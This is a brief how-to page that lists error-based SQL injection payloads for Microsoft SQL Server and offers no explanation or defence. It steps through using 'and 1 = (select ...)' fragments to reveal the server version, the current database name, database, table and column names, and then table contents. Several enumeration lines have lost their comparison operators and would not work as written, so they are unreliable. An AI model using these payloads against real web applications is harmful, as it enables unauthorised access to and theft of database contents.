Get the App
SLTechnology News&Howtos  ›  Network Security  › 

Explicit injection code

Shulou Source: shulou.com Published: 2022-06-01 05:38:44 10月04日 Update

Query the version of the library and 1 = (select @ @ version)

View the current library name and 1 = (select db_name ())

Library name query and 1 = (select top 1 name from master..sysdatabases where dbid > 4 and name 'first database name', name 'second database name',. Name 'Nth database name')

Table name query: and 1 = (select top 1 name from sysobjects where xtype='u' and name 'first database table name' name 'second database table name',. Name 'Nth database table name')

Column name query and 1 = (select top 1 name from syscolumns where id= (select id from sysobjects where name=' table name') and name 'first column name', and name 'second column name'. And name 'first column name')

Content query: and 1 = (select top 1 column name from table name)

Tags: Data database query content version code Apple Docker Huawei Linux macOS MariaDB Microsoft MySQL NVidia OPPO Reno Linux Shulou Tech Info NVidia Apple macOS